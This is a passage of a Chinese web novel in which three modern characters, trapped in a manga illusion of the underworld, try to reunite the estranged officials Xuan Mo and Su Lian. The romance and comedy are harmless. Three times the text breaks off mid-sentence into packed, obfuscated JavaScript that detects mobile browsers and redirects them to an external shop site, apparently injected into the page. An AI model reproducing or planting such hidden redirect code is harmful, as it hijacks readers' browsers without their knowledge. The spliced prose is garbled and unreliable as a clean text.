“电视剧里都是这么播的,女主给个信物,男主温柔一笑去赴约。而且送花的情况下,大概率是去什么花林。” 话音刚落,玄墨停了下来。 于等等眼睁睁看着他伸手摸向腰间,把那枚玉佩摘下来,揣进怀里。 于等等:“……?” 池塔倒吸一口冷气:“不是,他把玉佩摘了什么意思?不会是要去见别的女人吧?不对……漫画里好像素练真的从来没邀请过玄墨!” ? 哈?? 纯爱战士不能接受! 于等等一把拽住池塔的袖子,几乎是咬牙切齿:“不行!这花必须是素练送的!” 小腿被什么东西扫了一下。 “别想那么多,跟上去看看就知道了。”元宝收回尾巴,率先迈步。 “对,跟上去看看,万一是漫画里没画出来呢?”于等等几乎是赌着气跟上。 ———————————— 于等等站在一棵玉兰花树下。 风吹过,花瓣纷纷扬扬,有几片飘到她头顶,有几片粘在她袖子上。 她抬手扒拉了两下,没扒拉干净。 元宝蹲坐在铺满花瓣的地上,若无其事地舔着爪子。池塔站在旁边,头发上顶着一朵完整的玉兰花,表情一言难尽。 “等等,你说实话,你是不是还有个隐藏的预言家身份?说是花林,真来了?” 于等等木着脸躲开又要落到身上的那片花瓣:“我倒是想啊,直接预言我们一次通关、好评度百分百多好,现在就能回家躺着。” “所以那个白无常是素练吗?这么远,看不清呀。”池塔眯着眼观察。 就在不远处,一个小亭子立在玉兰花树丛中。 亭子里,一个身着白无常制服的女子正坐在石桌前低头下棋。亭子外,玄墨正沿着石子路一步一步往亭子里走,步伐不紧不慢。 “你们看,玄墨放在胸口的那只手,那个位置像不像放玉佩的地方?” 元宝跳到一颗矮树上观察。 于等等眼睛一亮: “咦!难道他把玉佩摘下来,是因为终于下定决心要送出去了?我就说吧,对面必须是素练!” “可要送早就送了呀,这俩轮回结束都几百年了,非得等到现在?”池塔皱眉。 “算了算了,走近点,先听听他们说的什么。” 几人溜达到亭子边上,这次终于看清了下棋的女子,眉目清秀,气质清雅,额头还有个红色印记。 于等等舒出一口气:“是素练!” 纯爱党放心了。 她一本满足地看了一眼棋盘。 …… 两眼一黑。 棋盘上黑白交错,密密麻麻,于等等盯着看了三秒,只能认出来一件事:“这是围棋。” 池塔凑过来:“然后呢?” “没有然后了,我看不懂围棋。” 池塔:“……” 玄墨已经在素练对面站了好一会儿了,但只是看着,不说话,也不落座。 素练也不招呼,安静坐在石桌前,右手执白,左手执黑,落子不紧不慢。 直到她再次举起一颗白子,举了半天但迟迟没有落下,玄墨上前一步,从棋盒里拿起一颗白子,落在棋盘上。 素练停在半空的手指一抖。 “这一步,你早该落了。”玄墨的声音听不出情绪。 素练盯着棋盘上那颗新落下的白子,看了好一会儿。 “落了,黑子会元气大伤。” 于等等眨眨眼,感觉好像快要抓到点什么了。 “你不动,黑子就不死了吗?” 素练这次没有接话。 玄墨沉默了许久才再度开口:“你在找别的路。” “我找了三百年,找一个能让黑白两子一起走到终局的方法。”素练叹息。 “找到了吗?” 素练把手里那颗一直没落下的白子,轻轻放在了棋盘上另一个位置。 玄墨扯了下嘴角。 “平局?” “这样,至少不会有输家。” “是暂时没有输家。”玄墨抚开衣摆坐到素练对面。“局势已到的时候,你不得不落子。” “我怎么觉得他们不是在说下棋?”池塔凑过来,小声嘀咕。“黑子是玄墨,白子是素练?” “目前看来是这样,但是……”于等等皱起眉,“总觉得哪里不对。” “什么意思?”池塔不解。 元宝也凑近了些:“黑白子是对立关系,但是玄墨和素练,至少现在看来,他们不是敌人,那么就不会进入到这场对决的棋盘里。” “嘶……你的意思是,黑白子其实代表了别的东西?” 池塔倒吸一口冷气。 “而且,黑白子的执棋人都是素练,很可能代表着,黑白子都和素练有关。”于等等补充。 “有关?比如呢?”池塔一头雾水。 “关键就是想不出来有什么关系呀!”于等等有些愤懑地揉揉脑袋。 “《幽虚记》的漫画剧情里,有互相对立的势力关系吗?”元宝发问。 “大部分剧情都在写虐恋情深,就开篇的时候提了一嘴两人姻缘线断掉的原因。” “嗯?快详细说说。” “玄墨和素练原本是地府能力最强的一对黑白无常,抓了太多恶鬼,得罪了鬼界的势力。鬼界那边设了个圈套,让他俩在出任务时误伤月老树,姻缘线也因此被反噬,断了。” 于等等听得一愣一愣的。 月老树?地府还有这东西? “按理说姻缘线断了不影响两人搞事业,可也不知道咋回事,从那之后,只要两人合作的时候感情稍微升温,必出意外,尤其是轮回的时候,必有一方死亡。” “……这是什么为虐而虐的设定,难怪轮回完10次之后这俩都在各自驻地猫着了。”于等等没忍住吐槽。 “是啊,从那之后,素练和玄墨便开始刻意避开对方,基本上不接触了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337234|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“感情不是两人情感不和,是老天不让他俩HE啊。不对……”于等等点开系统,重新确认了一遍主线任务。 【任务目标:帮助玄墨与素练达成HE】 于等等:“……” “这不是注定没法完成任务吗?!现在的情况是HE主角必死啊!玩儿我呢系统!” “提示说我们的身份很关键,模糊掉的内容说不定是重点。”元宝也打开自己的任务光屏。 “专业对口,除了画师和编辑,黑白无常是不是也属于专业对口的一部分?” “那就再观察观察?正月大佬是有恶趣味没错,但好歹也是个前辈,不至于真给后辈搞个死局任务……吧?” 最后半句于等等说的有些心虚。 “……嗯,先观察。”元宝也难得的有些迟疑。 几人再次把注意力放到玄墨和素练身上,两人已经从棋局聊到了各自殿里的事务。 在第六片玉兰花瓣落到棋桌上时,玄墨把手伸进了怀里。 ?! 要开始了吗! 于等等的手不自觉地握紧,满眼期待地看着玄墨的动作。 然后她就看到玄墨把那个小官吏交给他的玉盒拿了出来,放到了石桌上。 “下次派人传个话就行,盒子挺大的,揣着硌得慌。” 他缓缓起身,抖了抖没有一丝皱纹的袖子,跨步走出亭子。 于等等:“?????” 不是,哥们儿,你这就走了?玉佩呢?? 送个玉佩送了三百年没送出去就算了,还嫌别人给你传信的信物硌得慌??? 她又看向素练。 素练还在看着棋盘,玄墨离开时她连眼皮都没动一下。 …… 这俩没救了。 但是,我的任务得做啊!你们不HE我们就出不去了啊! 于等等气得锤了一拳身边的石柱。 “嘶——” “怎么了?”元宝抬头问她。 于等等揉着自己的左手:“没事,不小心下手重了,有点疼。” 等等。 疼? 她低头看了看左手,指节有点红。 她又把目光落向石桌上的玉盒,元宝和池塔的目光也追了过来。 指尖碰到玉盒的瞬间,冰凉的触感传递过来。 “我……我好像能碰到这个盒子?” “我们好像一直忽略了个事情……”元宝胡子抖了抖。 “咱们虽然碰不到这里的人,这里的人也看不到我们,但是我们好像一直可以碰到幻境里的东西……”于等等接上。 “比如我刚刚跳上去的那棵树……………………” “哎呀!那既然这样,我们岂不是也能碰到玉佩!”池塔一拍脑门。 “?!”于等等身体快过脑子,已经朝着玄墨追了过去。 玄墨走的不算快,估计是心底还舍不得离开,于等等小步跟在他身边,确定好玉佩的位置,伸手就是一掏! ………… 完了。 于等等看着抓着自己手腕的那只手,脑子里响起雷劈过的动静。 玄墨冰冷的声音落进耳朵:“你是谁。” 于等等:“………………………………” 苍天啊! 幻境里的人不是看不到我们吗!! 玄墨是在和我对视吧? 这里的规则到底什么时候开始变的???? 21.HE补全计划 玄墨的手跟铁钳似的,抓得于等等手腕生疼。她试着抽了抽,纹丝不动。 “快说!” 玄墨语气更凶了,那张本就生人勿近的脸彻底黑了下来,眼神像是要把她活剐了。 “我……” 于等等张了张嘴,还没想好怎么编,一道白影“嗖”地从侧面蹿出来。 钳住自己手腕的力道一松,玄墨闷哼出声。 于等等踉跄着后退两步,差点摔倒,眼前亮起一道白光。 光芒褪去,一道人影挡在她面前。 白色的无常袍服,清瘦的背影,帽檐下露出一截苍白的后颈。他往她身边靠了半步,把她整个人挡在身后。 于等等心跳乱了一拍,一口气差点没提上来。 一个人暴露就算了,怎么还搭上一个?! 元宝向后探手,握住于等等的手腕,把她往自己身边带了带。 掌心温热,和刚才被玄墨钳住时的感觉简直天差地别。 “……白无常?”玄墨声音更冷了。 于等等从元宝肩膀后面探出半个头。 玄墨手背上留着四道鲜红的牙印,还在往外渗着血珠。 于等等心里一个咯噔。 不是吧…… 她目光上移,悄悄打量玄墨的表情,果然,那张脸几乎黑成了木炭。 “你咬我?” 他一字一顿,右手掌心开始凝聚出玄色的光晕。光晕越拧越大,逐渐拉长,隐约勾勒出一只长戟的形状。 完了完了,这下是真生气了。 于等等的心快从嗓子眼里蹦出来。 她下意识抓紧元宝的胳膊,带着他一起缓缓后退。 打不过,跑还不行吗? 正月大佬总不至于真让他们交代在这里吧? “玄墨,住手。” 素练的声音从亭子方向传来,不大,但清楚地落进每一个人耳中。 “那是我殿里的小辈。” 哈??? 玄墨看向亭子,掌心的光晕停止了凝聚。 于等等也看向亭子,几乎以为自己出现了幻听。 “你殿里的?”他语气里带着明显的怀疑,“你个白无常殿,哪来的黑无常小辈?” 素练手中的白子不知何时已经落下。她嘴角带笑看向于等等,似乎心情不错。 “那丫头是个新人,我的故人之后。” 于等等更懵逼了。 什么故人?我根本不认识你啊! 难道是新加的设定? 她悄悄看向元宝。 元宝眉头皱着,显然也在消化这段信息。 “这次约你过来还有一个目的,就是想把这丫头送进你的殿里栽培一下。” 玄墨视线重新落回于等等身上,打量了会。扫过她胳膊上的锁魂链时,眼睛眯了眯。 于等等后背发毛,不祥的预感简直要上天,又不敢露怯,只能努力绷住脸。 “哼。”玄墨轻哼一声,手上的玄色光晕消散。“你故人的后人,放我殿里干什么?” “年轻人,好奇,想看看传说中的黑无常第一人长什么样。怎么,不让看?” 玄墨竟也没再追问,只“啧”了一声: “下不为例。” 这就过关了??? 于等等不可置信地看向玄墨,他已经收回视线。 一直提着的那口气总算松了一些。 元宝转过身,手没松,就着这个动作把她的手抬起来仔细打量。手腕处被玄墨钳地有些发红。 他拇指抚上去,轻轻揉了揉。 “疼吗?” “刚刚疼,现在不疼了。” 因为被你揉的有点痒。 但于等等没好意思说…… ———————————— 玉兰花树林,亭子中。 玄墨、素练、于等等、元宝,以及外形画风最格格不入的池塔,各自坐在一个小石凳上,将小小的石桌围得满满当当。 池塔那身红黑撞色的T恤、挑染了雾霾蓝的现代风短发,还有脖子上那造型夸张地海贼王耳机,在满屏古风里简直像打了高光。 他努力缩着肩膀,试图降低存在感。 但显然,这件事就不可能成功。 玄墨的目光落在池塔身上,眉头微微皱起。 “所以,他又是谁?” 于等等面上镇静,心里已经把正月骂了800遍。 既然剧情是这个设定,就别把池塔拉进来啊! 你拉进来也给人个合理身份啊! 自己和元宝好歹能说成黑白无常,勉强算地府系统内的,可池塔这一身现代装,要她怎么解释啊!!! 她脑子疯狂旋转,眼看玄墨的脸又要黑下去,干脆想到哪儿是哪儿,脱口而出: “他……他是我随从!” 本就安静的空气更安静了。 玄墨挑眉看向于等等,一脸的“你在逗我”。 素练却是悄悄弯了下嘴角。 “你?”玄墨上下打量她一眼,“新人,还带随从?随从还打扮的这么……” 意思尽在不言中。 “我家里人安排的!”于等等硬着头皮往下编,“说怕我当黑无常辛苦,非要给我塞个随从打理日常起居。我说不用,他们不听,我有什么办法?” 她边说边在桌底悄悄踢池塔小腿。 好在池塔争气,及时反应过来,疯狂点头。 “对对!我是随从!专门负责……负责……”他看到石桌上上的水壶,一把抓起,给于等等倒了一杯,“负责端茶倒水!” 玄墨的表情更难形容了,素练倒是很给面子地把自己的杯子递了过来。 “倒水的技术不错,给我也来一杯。” 玄墨深吸一口气,又长长叹了出来,看样子是暂时放过了这个离谱的“随从”,换了个问题: “那你们是怎么突然出现的?刚刚一点气息都感觉不到。” 来了!你问我答第二回合! 于等等正了正坐姿,准备开始新一轮的头脑风暴。 说辞还没想好,元宝先开口了: “法器。”语气平静,面不改色。 ? 几人一齐看向他。 “素练大人怕我们影响你们交谈,让我们待在远一点的地方,不要打扰。”元宝说的不紧不慢。 “我们不放心,就找其他前辈借了法器隐匿身形,藏在附近观察。” “对对对!”于等等眼睛一亮。 “谁知道我们大人主动邀请你,你不领情就算了,还嫌弃大人给你的盒子太大!” 她越说越来劲,干脆站起身,手指点着石桌上那个玉盒: “我们气不过,想替大人出口qi……” 说到一半,对上玄墨那黑得发沉的眼睛,于等等的气势瞬间矮了半截,话头一转: “……想替大人稍微……表达一下不满。” 她瞄着玄墨的脸色,抿了抿嘴,小心坐了回去。 “呵。”玄墨冷笑一声,转向素练。 “你这故人的后人,这么嚣张的?你不管管?” “年轻人有个性挺好,不是吗?总比我们这种在位上待了太久的人,活得越来越没生气要强。” 素练语气淡淡的,但于等等总觉得她在憋笑。 玄墨张了张嘴,最后只“啧”了一声,别过脸去,别了一半又转回来。 “进我殿里可以,先说说,你会什么。” 她才入职三天啊!她会个毛啊! 于等等只能硬着头皮现编:“锁怪百发百中,算特长吗?” “哦?”玄墨似乎来了点兴趣,随手一挥,袖子里飞出几道鬼火,在石桌上晃悠两下后,“嗖嗖嗖”飞出亭子,开始疯狂乱窜。 “驻地里抓的小玩意儿,锁给我看看。” 于等等:“……” 我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350985|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都看不清,你让我抓?抓个毛啊! 可剧情发展到这里了,万一真的得进殿才能推进主线怎么办? 于等等只好硬着头皮起身,站起来时感觉袖子被人扯了一下。 她转头,对上元宝的视线。 “别勉强。”元宝眼神里透着担忧。 “不勉强。”于等等面上露着苦色。 “等等,你……”池塔也扯了扯她的袖子。 于等等摇摇头,抽出袖子,步伐悲壮地走出亭子。 她磨蹭着把锁魂链一圈圈扯下来,集中意念,锁魂链回应着她的感知,发出嗡鸣。 于等等观察着鬼火的路径,虽然他们窜地很快,毫无规律,但始终都维持在一个范围里。 很好。 她瞄准一个鬼火,一个帅气地扬手! 锁魂链精准勾住了那团鬼火,打了个大大的死结。 鬼火碰上链子的瞬间就蔫巴了,不等锁魂链收回,自动化成一个极小的光点,慢悠悠飞回玄墨的袖子里。 “不错,继续。”玄墨毫无感情地评价。 于等等:“……” 她深吸一口气,收回锁魂链,瞄准第二个鬼火,再次帅气地扬手! 命中x2。 “不错,再来。” 命中x3。 “继续。” …… 素练一盏茶喝完了,场上的鬼火也抓完了。 她放下茶盏,对着玄墨扬了扬下巴。 玄墨面无表情理着袖子:“行了,一会跟我回殿里吧。” 于等等松了口气,把锁魂链一圈一圈地缠回胳膊上。元宝和池塔快速围了过来。 “我去,等等你牛啊!真百发百中啊!什么时候会的这个?” 池塔咋咋唬唬就要抬手,去拍于等等的肩膀,元宝眉头一皱,眼疾手快把他拦了下来。 池塔:“?” 元宝:“随从。”一本正经,绝无私心。 大概。 “哦哦哦!对,差点忘……” 池塔压低声音抚了抚胸口,又觉得哪里不对。 “元宝,你怎么一点也不吃惊?那可是在那种速度下百发百中诶!不对……你俩这表情……” 池塔看看元宝,又看看于等等,终于反应过来。 “你们……你们刚才那都是……” 他做贼似的回头看看,把两人往远一些的地方拉了拉,做出口型:“演的?” “当然不是,我是真紧张!”于等等一脸真诚。 “行。我算是看明白了。你们俩演我。”池塔了个白眼。 于等等:“……” “真没演,就是……” “自动瞄准。”元宝替她说完。 “?” “刚进来时就和你说了呀,还是元宝告诉你的!” “是的。外卖、系统、三折叠,你再回忆回忆。”元宝抱着胳膊点头。 池塔沉睡的记忆终于被唤醒,他睁大眼睛,盯着于等等的锁魂链,第一次发自心底地对现代化的地府生出了崇敬! 亭子里,看这几人嘀嘀咕咕,玄墨的眉头又皱起来了。 他掐了个手诀,周围的气流极其轻微地拨动了下,亭子内外的声音被彻底隔绝开。 “你认真的?真当我看不出来这几个人有问题?” “玄墨。”素练放下茶盏,难得认真地和他对视。 “如果有一条路,没人走过,不知道是死路还是活路。但万一走通了,我们就都不用再选了。” “你愿不愿意,陪我赌一次?” 她目光落到棋盘上的一颗白子上。 那颗白子孤零零地躺在边角之外,远离所有纠缠的黑白战局。 那是于等等几人突然显形时,她手里被惊落的那一颗。 落错了地方。 落出了棋局。 却也因此,成了整盘棋里唯一一颗不被规则束缚的子。 22.HE补全计划 于等等站在玄墨殿的院子里,手里攥着刚领到的腰牌,脸上的假笑已经快绷不住了。 事情的起因她到现在都没完全捋清楚,反正就是素练的一句话,她和池塔就这么水灵灵地被塞了进来。元宝则被素练领走了。 周围里三层外三层围满了黑无常,一个个跟看猴似的盯着他俩。 “你就是玄墨大人带进来的新人?” “听说你是白无常殿过来的?黑白通吃啊这是!” “你这衣服料子怎么跟咱们的不一样啊?裁剪也很特别,特别是袖子上的那个锁链,真帅呀。” 于等等嘴角抽了抽,努力维持着一个得体的微笑:“这个啊,这是我家里人给我做的,穿着玩的……对,穿着玩的。” 周围一片恍然大悟的“哦”。 “听说你是素练大人举荐进来的?”一个黑无常凑过来,眼神发亮,“那什么……素练大人和玄墨大人约会的事,是真的吗?” 于等等:“……?” “我也想问!”旁边立刻有人接话。 “他俩是不是真的和好了?玄墨大人今天回来之后,难得没有黑脸。” “对对对!还有人说看到玄墨大人今天笑了!” 于等等:“……” 救命,我一个刚到这里的,才见过一次正主,甚至他俩的关系都是从池塔口中得知的,哪回答得上来这些啊! 她下意识想找池塔当救星,一回头…… 嗯,池塔那边更惨。 “小兄弟,你这衣服的造型第一次见呀!” “脖子上挂的是啥法器吗?以前从来没见过呢!” “你头发的颜色怎么不一样?是用了什么术法吗?” 池塔默默把耳机往衣领里塞了塞,表情生无可恋: “啊……这是……家乡特产。” 问题一个接一个砸过来,于等等和池塔只能机械地张嘴瞎编。 编完一个又来一个,来完一个再来一个。 “都围在这里干什么?没事做了?” 一个清冷的声音从人群外传来。 围观的黑无常们立刻安静下来,自动让开一条路。 走来的黑无常身材修长,面容清朗,眉眼周正,一看就是班级里的优等生,部门里的优秀员工,领导最喜欢的那种。 他扫了一眼人群:“新人第一天来,别吓到人家。散了。” 那群人立刻作鸟兽散。 于等等看着他,简直要感动哭了。 救星,这就是救星啊! “谢谢前辈!” “不用客气。” 那人微微颔首,语气公事公办。 “我叫玄宋,玄墨大人让我带你们熟悉一下环境。跟我来吧。” 不等于等等回答,他转身就走,步伐稳健,一丝多余的表情都没有。 玄宋是个合格的向导。 真的,非常合格。 从练武场到档案室,从公务堂到静修房,一路走一路介绍,语速适中,内容详实,该说的说,不该说的一个字不多讲。 于等等一路点头,心里默默给这位玄宋前辈打了个高分。 这才是正经带新人的样子啊。不像某些黑无常,上来就把人往鬼屋扔,扔完还说是随堂小测。 终于,玄宋在一排房舍前停下脚步。 “这是新人住的地方。你住这间,他住隔壁。” “暂时会用到的地方都带你们参观完了,你们休整一下,一个时辰后去公务堂领任务。” 他细细交代完,打量了一下二人的穿着。 “记得把衣服换了。既然到了殿里,还是守殿里的规矩比较好。自家做的衣服……以后私下穿就行。” 于等等赶紧点头:“好的好的,马上换!” 池塔也在旁边疯狂附议。 终于可以扒了这身皮了,终于不用再被围观了! 两人正要推门进屋,玄宋又开口了。 “那个……于等等是吧?” 脸上还是那副不苟言笑的表情。 于等等以为他还有什么正经事要交代,赶紧正了神色:“前辈请说。” 玄宋四下看了看,确认周围没人,向于等等靠近一步,压低声音: “听说你们回来之前,玄墨大人和素练大人在……约会?” 于等等:“…………?” 玄宋脸上终于露出一点别的表情,于等等莫名联想到了魏今安的那张脸。 “你偷偷告诉我。”他又往前凑了凑,声音压得更低,“放心,我绝对不会乱说。” 于等等:“…………” 哥们儿,你这一路装得挺像啊。 不知道的还真以为你是个正经人呢。 没想到也是个CP粉。 玄宋还在眼巴巴地看着她。 算了,看在他带自己参观了一路的份上,看在他帮自己解了围的份上…… 于等等盯着玄宋的眼睛,非常郑重地点了点头,然后竖起食指放到嘴边: “嘘——” 玄宋的表情比她还要郑重,像是接了什么不得了的秘密任务。 “放心!”他使劲拍了拍胸脯,“我绝对保守秘密!” 说完转身就走,步伐比来时还要稳健! 于等等看着他的背影,忽然有一种不太好的预感。 如果她知道今天的这个点头,会在未来的日子里给自己带来那么多麻烦。 她发誓,今天玄宋问那个问题的时候,她一定什么动作都不做! 转身就走! 于等等推开门,房间不大,一张床,宽度够她翻身。靠墙摆着一张书桌,桌上整齐叠着一身黑无常制服。 她麻溜换上,低头打量了一下。 料子挺括,版型合身,衣服上甚至还绣着和玄墨那套如出一辙的暗纹。 看衣服识身份。 看来她这个角色设定,在这个漫画世界里高低得算个主要配角。 她盯着自己换下来的那身无常制服,想了想,还是把锁魂链一圈一圈缠回自己的胳膊上。 这可是法器,得随身带着。 于等等唤出系统光屏。 【主线任务进度:5%。】 果然,进玄墨殿是主线必要的一环。 不过倒腾了这么一路,怎么才5%?看来后面有的折腾了。 她叹了口气,翻开通讯录。 刚刚在花林里,一切发生得太过突然,她和元宝还没来得及复盘,就被玄墨和素练各自领走了,也不知道他那边什么情况。 于等等拨出视频电话。 “嘟——嘟——” 等了半天没人接。 难道是还在忙? 她正准备挂掉电话晚点再拨,视频接通了。 画面里,元宝身上只套了件白色里衣,衣襟大敞着,带子垂在两侧,显然还没来得及系。 他一只手正拽着衣领,像是要把衣服拉上,另一只手悬在视频上方,看位置,好像是【挂断】键所在的方向。 四目相对,元宝的表情难得有点懵。 于等等的目光不受控制地往下滑了一寸。 锁骨清晰。 没忍住,又下滑一些。 腰身劲瘦,腹肌的线条若隐若现,被光屏的柔光一打,轮廓比玄墨殿门口立着的石雕还清晰。 她的脑子“嗡”地一声,一把挂了视频电话! 光屏暗下去,于等等盯着黑漆漆的屏幕,心跳快得像刚冲刺完八百米。 元宝懵懵的表情、清晰的锁骨,还有那腰身那腹肌,像开了大特写,在她的脑子里挥之不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355304|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她深吸一口气。 …… 画面更清楚了。 于等等抓起桌上的水壶猛灌了两口,在房间里来回走了三圈,又对着墙面壁了十秒。 “冷静,”她做着深呼吸。 “于等等你冷静。不就是腹肌吗?有什么大不了的?网上又不是没见过!” 但…… 那是网上的! 这是元宝的啊! 而且元宝很可能是那个人啊啊啊啊啊啊!!! 她一巴掌拍在自己脑门上。 于等等,你没救了。 她正头脑风暴呢,光屏又亮了。 这次是元宝打过来的。 于等等盯着那个奶牛猫头像,狠狠吸了口气,按了接听。 画面里的元宝已经穿戴整齐。 白色里衣系得严严实实,外袍披上了,头发也理顺了。整个人端端正正地站在镜头前,和刚才那副样子判若两人。 于等等的目光不自觉又往他领口瞟了一眼。 很好,别说锁骨了,这下连脖子都快挡住了。 她松了口气,又莫名有点失落。 “刚才是系统设置。搭档的视频电话超过五秒没处理,会自动接听。”元宝率先开口,面色看上去没有丝毫不自在。 于等等:“…………?” “这是什么智障设置?!” 她脱口而出,说完才发现自己好像有点反应过度。 人家被看的都没说什么,她一个看别人的反而慌成这样,像什么样子? 不行,不能露怯! 她努力把脸上那点热意压下去,清了清嗓子:“我之前不知道还有这个设置。” “我也不知道,可能是为了防止对方出意外。” 于等等胡乱点了两下头,不知道接什么话,干脆开始东张西望,假装研究房间的摆设。 光屏那头也安静下来,房间沉默的简直诡异。 于等等的视线第三次落到自己脚尖时,终于后知后觉的意识到,元宝平时虽然话不多,但也不至于这么沉默。 她抬眼偷瞄了一下屏幕。 元宝正专心理着袖口,表情看不出什么异样。 ……可能是想多了。 于等等寻思要不要说点什么打破尴尬,房门被敲响了。 “笃笃笃。” 救星! 她眼睛一亮,抬脚就要开门,又觉得似乎反应太大了。 “咳。”她收回脚步,改成慢悠悠开口,“谁?” “等等,是我!” 原来是池塔呀。 于等等赶紧开门,池塔闪身进来,一眼就看见她面前的光屏,以及光屏里元宝那张脸。 “我去,视频电话?这也行?”他眼睛瞪得溜圆。 “地府系统,正常操作。”于等等关上门。 池塔想再凑进看看,眼神扫过于等等的脸。 “你脸怎么这么红?发烧了?” “没有!”于等等后退一步,“就是……这衣服太厚了,不透气,闷的。” 池塔上下打量她那身黑无常制服。 料子看着挺薄挺软的,裁剪和做工都挑不出毛病,怎么看都不像能闷死人的那种。 “厚吗?”他伸手想摸一下袖口。 于等等立刻把手缩回去:“厚!你别管了,反正……反正就是厚!” 池塔将信将疑地收回手,目光落在她身后的光屏上。 元宝一身白无常制服,清清爽爽,面色如常。 池塔来回看了看,于等等差点以为他要看出破绽了,结果…… “还挺好看。”语气酸溜溜的。 于等等松了口气。 谢谢你,池塔的逆天脑回路。 您才是真救星啊! 23.HE补全计划 “谢谢,你这身也不错。”元宝的商业互吹虽迟但到。 于等等这才注意到池塔的装扮。 灰扑扑的差役短打,料子普通,款式简单,袖口还大了半寸,要不是他的骨架和脸撑着,真就一个背景板里的路人甲。 嗯…… 有点想笑,但是好像不太合适。 于等等只好努力憋着,可憋得住声音,憋不住颤抖的肩膀。 “于等等,别以为我不知道你在偷笑。”池塔的声音多了几分怨念。 “没有没有!”于等等赶紧摆手,努力把嘴角往下压,“你这身挺好的呀,多精神!” “精神什么呀,”池塔扯了扯袖口,又拽了拽衣摆,“我还以为怎么着也能分套黑无常衣服呢。” “随从穿这样很不错了,至少比你那身撞色T恤要好吧。” “……”池塔想起一路上被围观的画面,心有余悸地点点头,“那倒是。” “所以,你们那边情况如何?” 元宝提起正事。 “被领着参观了一下,顺便体验了一把玄墨殿的热情氛围。” “热情?” “是啊,听说我是素练那边塞进来的,追着我打听素练和玄墨的八卦。” 于等等想起玄宋那张故作正经的脸,表情一言难尽。 “也算是体验了一把被当猴子围观的滋味了。” “所以你那边呢?”于等等反问。 “也差不多。不过没被围观。”元宝嘴角弯了一下,“素练殿里的人好像话都不怎么多。” “哎,真好啊……” 于等等拖长声音瘫在桌上。 “一想到之后可能还要应付那群CP粉,我就头疼。” 虽然她自己也是个CP粉。 “对了,你维持人形的时限是多久?魂力够用吗?”于等等直起身,神色认真起来。 “你看下系统时间。”元宝提示。 于等等瞥了眼角落的时钟。 晚上六点二十三分。 不对啊,他们在幻境里少说也折腾了三四个小时了,怎么还是六点多? “体验卡每天只有一个小时的时限。但这里的时间好像是静止的。”元宝解释。 “所以你可以无限使用?!” “嗯,只要魂力跟得上。”他晃了晃手里刚喝完的魂力补充剂空瓶。 “那太好了!” 本来她还在担心万一正打架呢,元宝突然变猫了怎么办?是用咬的还是用抓的? 还好,现在看来,至少能维持个人样。 半天没说话的池塔扯了扯于等等的袖子。 “那什么,等等……”他的声音有点飘。 “怎么了?” “你们刚才说……体验卡?所以这位元宝兄到底是人还是猫?”池塔终于后知后觉地意识到,奶牛猫大变活人这件事了。 “……额。”于等等忽然发现这事儿解释起来还挺复杂。 思索了会,还是决定长话短说。 “就是我加班猝死了,然后和元宝灵魂互换又活过来了,然后我才知道他是地府公务员,临时寄居在猫身里。然后我俩要做任务才能把灵魂换回来,然后就成了黑白无常,只有黑白无常魂体状态时才能恢复自己的样子。” “大概就是这样。” 于等等一口气说完,摊了摊手,功成身退。 池塔的表情从开始的困惑,到后来的震惊,再到茫然。 就在于等等以为他是不是CPU烧没了准备喊他一下回神时,池塔一把抓住她的胳膊,恍然大悟: “所以你之前对我那么冷漠,不是因为感情淡了?是因为那根本就不是你?!” ? 你的关注点是这个?! 猝死重生、灵魂互换、人猫互换,随便哪个都比这个重量级吧??! 于等等放弃纠正池塔的脑回路了: “是的。” 池塔眼眶这下是真红了,他一巴掌拍在桌上,把于等等吓了一跳: “我就说嘛!咱俩多少年的交情了,你怎么可能说翻脸就翻脸!” “行了行了。”于等等赶紧打断他,再让他说下去,这屋怕要发大水了。 “所以现在放心了?” 池塔吸了吸鼻子,瓮声瓮气地“嗯”了一声。 “我们的友情真的还在嗷?” “废话。” 于等等瞪他一眼,转头打算继续跟元宝说正事,就见元宝原本还有些上扬的嘴角突然就下去了。 ? 您老又是怎么回事? 她顺着元宝的目光看,看到了池塔搭在自己肩膀上的手臂。 于等等试探着把池塔手臂拍了下去。 元宝的嘴角的弧度又扬上去了。 …… 这俩怎么一个比一个难伺候。 “咳,素练有没有给你布置任务?” “没有。她只是让我看书。”元宝摇头,但听语气,好像心情不错。 “看书?” 元宝侧过身。 于等等这才注意到,他面前的桌上堆着厚厚一摞书。 “这……这么多?都是些什么内容?” 元宝随手拿起一本,展示给她看。 深蓝色的封面,上面用烫金字体写着《地府局势通览·第一卷》。 又拿起一本:《轮回纪事·千年大事纪要》。 再拿起一本:《无常殿架构入门》。 “……” 于等等沉默了。 池塔也沉默了。 光看这名字,就知道里面的内容有多复杂了。 